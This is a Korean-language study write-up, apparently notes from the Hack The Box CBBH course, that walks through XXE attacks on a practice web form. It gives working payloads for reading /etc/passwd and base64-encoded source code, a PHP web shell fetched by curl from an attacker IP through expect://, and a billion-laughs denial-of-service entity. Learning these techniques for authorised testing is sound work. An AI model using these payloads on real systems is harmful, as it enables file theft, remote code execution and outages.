본문 바로가기

Hack The Box CBBH

CBBH - Web Attacks[Local File Disclosure]

웹 애플리케이션이 사용자 입력으로부터 필터링되지 않은 XML 데이터를 신뢰할 경우, 외부 XML DTD 문서를 참조하고, 새로운 사용자 정의 XML 엔티티를 정의할 수 있다. 새로운 엔티티를 정의하고 해당 값이 웹 페이지에 표시된다면, 외부 엔티티를 정의해 로컬 파일을 포함하도록 만들 수도 있다. 이렇게 하면 백엔드 서버의 파일 내용을 확인할 수 있다.

Identifying

XXE 취약점을 식별하는 첫 번째 단계는 XML 사용자 입력을 허용하는 웹 페이지를 찾는 것이다.

연습 페이지에서는 연락처 양식을 입력해 데이터를 보내는 사이트가 존재한다. 해당 사이트에 데이터를 입력하고 Send Data 버튼을 클릭한 후, Burp Suite를 사용해 HTTP 요청을 가로채면 다음과 같은 요청을 확인할 수 있다.

해당 양식은 XML 형식으로 웹 서버에 전송하고 있으며, 이는 XXE 테스트 대상이 될 수 있다. 만약 웹 애플리케이션이 오래된 XML 라이브러리를 사용하고 있고, XML 입력에 대한 필터링이나 검증을 수행하지 않는다면, 이를 악용해 로컬 파일을 읽을 수 있다. 이제 양식을 수정하지 않고 전송하면 다음과 같은 메시지를 받게 된다.

email 요소의 값이 페이지에 다시 표시되는 것을 확인할 수 있다. 외부 파일의 내용을 출력하도록 하려면 어떤 요소가 표시되는지 파악하는 것이 중요하다. 일부 경우에는 어떤 요소도 표시되지 않을 수 있다. 이는 나중에 다뤄보려 한다.

현재 email 요소에 삽입한 값이 HTTP 응답에 표시되는 것을 확인했다. 이제 새로운 엔티티를 정의한 후, 이를 email 요소에 변수처럼 사용해 해당 값이 제대로 대체되는지 확인해보려 한다. 이를 위해 XML 엔티티를 정의하는 방법을 사용해 XML 입력 첫 번째 줄 이후에 다음과 같은 줄을 추가한다.

<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>

현재 예제 사이트에서는 XML 요청의 입력 데이터에 DTD가 선언되지 않았거나 외부에서 참조되지 않았으므로, 새로운 DTD를 추가한 후 엔티티를 정의했다. 만약 XML 요청에 이미 DOCTYPE 이 선언되어 있다면, ENTITY 요소만 추가하면 된다.

이제 company 라는 XML 엔티티가 생성되었으며, 이를 &company; 와 같이 참조할 수 있다. 따라서 email 요소에 기존 이메일 주소 대신 &company; 를 삽입해 보고, 우리가 정의한 값이 대체되는지 확인해볼 수 있다.

응답에서 &company; 가 아닌 Inlane Freight 가 출력된 것을 확인할 수 있다. 이는 XML 코드를 삽입할 수 있음을 의미한다. 반면, 취약점이 없는 웹 애플리케이션은 &company; 가 그대로 출력된다. 이를 통해 XXE 취약점이 존재하는 것을 확인할 수 있다.

일부 웹 애플리케이션은 HTTP 요청의 기본 형식을 JSON을 사용하지만, XML 형식도 허용할 수 있다. 따라서 JSON 요청이 전송되는 경우라도 헤더를 application/xml 로 변경한 후, JSON 데이터를 XML로 변환해 전송할 수 있다. 만약 웹 애플리케이션이 XML 데이터를 받아들이면, XXE 취약점이 존재할 가능성이 있으며 이를 테스트해볼 수 있다.

이제 새로운 XML 엔티티를 정의할 수 있는 것을 확인했으므로, 외부 XML 엔티티도 정의할 수 있는지 확인해볼 수 있다. 앞에서 한 과정과 비슷하지만, SYSTEM 키워드를 추가하고 외부 참조 경로를 지정한다.

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

XMl에서 SYSTEM은 DTD를 외부 파일로 지정할 때 사용한다. DTD 파일이 특정 시스템에 위치할 때 이를 불러오는 방식이다.

Response에서 /etc/passwd 의 값을 읽을 수 있는 것을 확인했다. XXE 취약점을 이용해 로컬 파일을 읽게 됐다. 이를 통해 패스워드가 포함된 설정 파일이나 특정 사용자의 id_rsa SSH 키와 같은 민감한 파일을 읽을 수 있으며, 이를 통해 백엔드 서버에 접근할 수도 있다.

Reading Source Code

로컬 파일을 읽는 또 다른 이점은 웹 애플리케이션의 소스 코드를 획득할 수 있는 점이다. 이를 통해 블랙 박스에서 화이트박스 침투 테스트로 수행하거나, 데이터베이스 패스워드 및 API 키와 같은 중요한 설정을 발견할 수 있다.

이를 이용해 index.php 파일의 내용을 읽을 수 있는지 확인해보려 한다.

하지만 이번에는 아무런 데이터가 출력되지 않은 것을 확인할 수 있다. 이는 파일이 XML 형식이 아니기 때문이다. XML은 특수 문자가 포핟묀 경우, 외부 엔티티 참조가 실패할 수 있으며, 바이너리 데이터도 읽을 수 없다.

하지만 PHP Wrapper를 사용해 Base64로 인코딩후 XML에서 문제 없이 처리할 수 있도록 파일을 읽을 수 있다. 이를 활용하기 위해 다음과 같이 사용할 수 있다.

php://filter/convert.base64-encode/resource=index.php

Response를 확인해보면 Base64로 파일이 출력된 것을 확인할 수 있다.

이 기법은 PHP 웹 애플리케이션에만 작동한다. 웹 프레임워크에서 소스 코드를 읽는 것은 다음 페이지에 게시하려 한다.

Remote Code Execution with XXE

로컬 파일을 읽는 것 외에도, 서버에서 원격 코드 실행을 진행할 수 있다. 가장 쉬운 방법은 SSH 키를 찾거나, Windows 기반 웹 애플리케이션에서는 해시를 탈취하는 방법도 있다. 이러한 방법이 작동하지 않을 때, PHP 기반 웹 애플리케이션에서는 PHP://expect 필터를 이용해 명령을 실행할 수 있다. 하지만, 해당 Wrapper는 PHP expect 모듈이 설치되어 있고 활성화되어 있어야 하는 조건이 있다.

XXE의 결과를 출력을 통해 확인할 수 있는 경우, expect://id 와 같은 기본 명령을 실행할 수 있으며, 페이지에서 해당 명령의 출력이 표시된다. 하지만, 출력에 접근할 수 없는 경우나, 보다 복잡한 명령(Ex: Reverse Shell)을 사용해야 하는 경우에는 XML 구문이 깨질 수 있어 명령이 실행되지 않을 수 있다.

XXE를 RCE로 전환하는 가장 효율적인 방법은 웹 쉘을 서버로 업로드시켜 웹 애플리케이션에서 직접 상호작용 할 수 있는 것이다. 이후 해당 웹 쉘을 통해 명령을 실행할 수 있다. 이를 위해, 기본 PHP 웹 쉘을 작성하고 Python 웹 서버를 시작한다.

nnknown@htb[/htb]$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
nnknown@htb[/htb]$ sudo python3 -m http.server 80

이제, XML을 통해 curl 명령을 실행하고 원격 서버에 웹 쉘을 다운로드 할 수 있다.

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY shell SYSTEM "expect://curl$IFS-O$IFS'[Attacker IP]/shell.php'">
]>
<root>
  <name></name>
  <tel></tel>
  <email>&shell;</email>
  <message></message>
</root>

위 XML 코드에서 모든 공백을 $IFS로 대체해 XML 구문이 깨지지 않도록 했다. 또한 | , > ,{ 등의 문자는 XML을 깨뜨릴 수 있으므로 사용을 피해야 한다.

요청을 보내면 원격 서버가 shell.php 를 요청하고, 이후 웹 쉘과 상호작용해 원격 서버에서 코드를 실행할 수 있다.

<aside> 💡

expect 모듈은 최신 PHP 서버에서 기본적으로 활성화되어 있지 않으므로, 이 공격이 항상 작동하는 것은 아니다. 따라서 XXE는 주로 민감한 로컬 파일 및 소스 코드 공개에 사용되며, 이를 통해 추가적인 취약점이나 코드 실행 방법을 찾는 것이 일반적이다.

</aside>

Other XXE Attacks

XXE 취약점을 이용한 또 다른 일반적인 공격 방법은 SSRF 악용이다. 이를 통해 로컬에서 열려 있는 포트를 열거하고 해당 페이지에 접근하는 등, 제한된 웹 페이지에 접근할 수 있다.

마지막으로, XXE 공격의 일반적인 활용 사례 중 하나는 DOS(Denial of Service) 공격을 수행할 수 있다.

다음 페이로드를 사용하면 이를 시도할 수 있다.

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
  <name></name>
  <tel></tel>
  <email>&a10;</email>
  <message></message>
</root>

이 페이로드는 a0 엔티티를 DOS로 정의한 후, a1 에서 이를 여러 번 참조하고, 이를 다시 a2에서 참조하는 방식으로 메모리가 부족할 때까지 Self-Reference Loops를 진행한다. 하지만, 이 공격은 최신 웹 서버 등에서는 자기 참조를 방지하는 보호 기능을 제공하기 때문에 작동하지 않을 가능성이 크다.

실제, 연습 웹 사이트에서도 작동하지 않았다. 서버 버전 - Apache/2.4.41


connection.php 파일에 api_key 값을 찾기